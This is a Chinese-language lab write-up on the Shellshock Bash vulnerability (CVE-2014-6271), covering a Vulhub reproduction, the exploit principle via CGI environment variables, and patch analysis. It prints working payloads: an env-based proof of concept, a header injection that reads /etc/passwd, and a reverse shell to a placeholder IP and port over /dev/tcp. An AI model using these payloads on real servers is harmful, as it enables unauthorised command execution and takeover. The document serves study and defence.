CVE-2014-6271(shellback漏洞)
漏洞描述
破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务,如一些网络服务器部署,使用bash来处理某些请求,允许攻击者导致脆弱的bash版本执行任意命令。这可以让攻击者获得对计算机系统的未授权访问。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行.
GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash Shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在Shell被调用后会被立即执行。
影响版本
- GNU Bash <= 4.3
环境配置
- Vulhub项目
- Docker-compose启动
网站根目录下存在safe.cgi和victim.cgi,其中victim为验证漏洞的页面,safe为不存在漏洞的页面
漏洞复现
漏洞存在验证
bash --version
# 或者
rpm -qa |grep bash(需要rpm方式安装的)
POC:env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"
# 其中的echo Vulnerable CVE-2014-6271可换成任意payload,实现命令执行
严格来说,该漏洞只能在本地进行触发,而要造成远程命令执行则需要配合第三方组件(如apache等)
RCE复现
vulhub中的项目为配合第三方组件形成的RCE环境,我们可以是用该环境进行远程命令执行的复现
命令执行
() { :;};a=`/bin/cat /etc/passwd`;echo "$a"
在UA或Header处触发都可以,可以看到成功执行命令
反弹shell
() { :;};/bin/bash -i >& /dev/tcp/{IP}/{PORT} 0>&1;
MSF上线
search cve:2014-6271
需要注意CGI文件路径设置,参数正确即可上线
漏洞原理
bash父子进程隔离
变量和函数隔离
test='hello world'
x(){ echo "test"; }
在上述变量和函数的例子中我们可以看出bash父子进程之间存在隔离
- 那么如果我们想要父子进程能使用同一个变量/函数应该怎么做呢?
export test='hello world'
export func='() { echo "func test";}'
[!warning]
值得一提的是,使用export使得子进程也能使用父进程函数的操作只适用旧版本的bash,在新版本的bash已经不支持该方式了,而是采用source去加载写好的函数
[!question]
那么该漏洞原理究竟是什么呢?
目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”
开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。
[!important]
本质就是该版本bash在对于export函数时,如果函数体外有命令的话,会原样执行
- export func=() { body } command;
所以触发并利用破壳漏洞的所需要的几点:
- 被攻击的bash存在漏洞(版本小于等于4.3)
- 攻击者可以控制环境变量
- 新的bash进程被打开触发漏洞并执行命令
Cgi
什么是CGI?
CGI不是一门编程语言。它是网页的表单和你写的程序之间通信的一种协议。可以用任何语言写一个CGI脚本,这些语言只要能接收输入输出信息,读取环境变量。所以,几乎所有的编程语言都能写一个CGI脚本,例如:python(把我大python放在第一个!),C,甚至是shell脚本。
CGI脚本的结构
典型的CGI脚本做了如下的事情:
- 读取用户提交表单的信息。
- 处理这些信息(也就是实现业务)。
- 输出,返回html响应(返回处理完的数据)。
下面主要解释,第一步和最后一步
CGI环境变量
对于CGI程序来说,它继承了系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。
当一个CGI程序不是被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制。当这个CGI程序被HTTP服务器调用时,它的环境变量就会多了以下关于HTTP服务器、客户端、CGI传输过程等项目。
[!question]
该漏洞是如何配合第三方组件实现RCE的呢?
在阅读上述CGI的文章后就能明白
[!important]
CGI有如下特点:
- CGI的环境变量就是系统变量+WEB服务器相关变量
- CGI进行交互处理时会启动另外一个进程
那么原理也很明显了
- 首先我们传入环境变量设置语句,设置恶意payload
- CGI另起一个新进程调用,从而执行恶意环境变量
修复建议
-
更新Bash源码
-
WAF上做防御
补丁分析
此漏洞进行的补丁更新有三处,主要进行输入的command进行过滤作用。
在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c的parse_and_execute函数中进行了输入的command进行了合法性的边界检测,将代码注入的可能性排除。在排除中主要用到了flags的两次判断和command的一次类型匹配,为了能够flags判断准确,在补丁中预先定义了SEVAL_FUNCDEF、SEVAL_ONECMD两个标识作为判断依据。
- /builtins/common.h
#define SEVAL_FUNCDEF 0x080 /* only allow function definitions */
#define SEVAL_ONECMD 0x100 /* only allow a single command */
- /builtins/evalstring.c
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
internal_warning ("%s: ignoring function definition attempt", from_file);
should_jump_to_top_level = 0;
last_result = last_command_exit_value = EX_BADUSAGE;
break;
}
- /builtins/evalstring.c
if (flags & SEVAL_ONECMD){
break;
level = 0;
last_result = last_command_exit_value = EX_BADUSAGE;
break;
}
- /builtins/evalstring.c
if (flags & SEVAL_ONECMD){break;}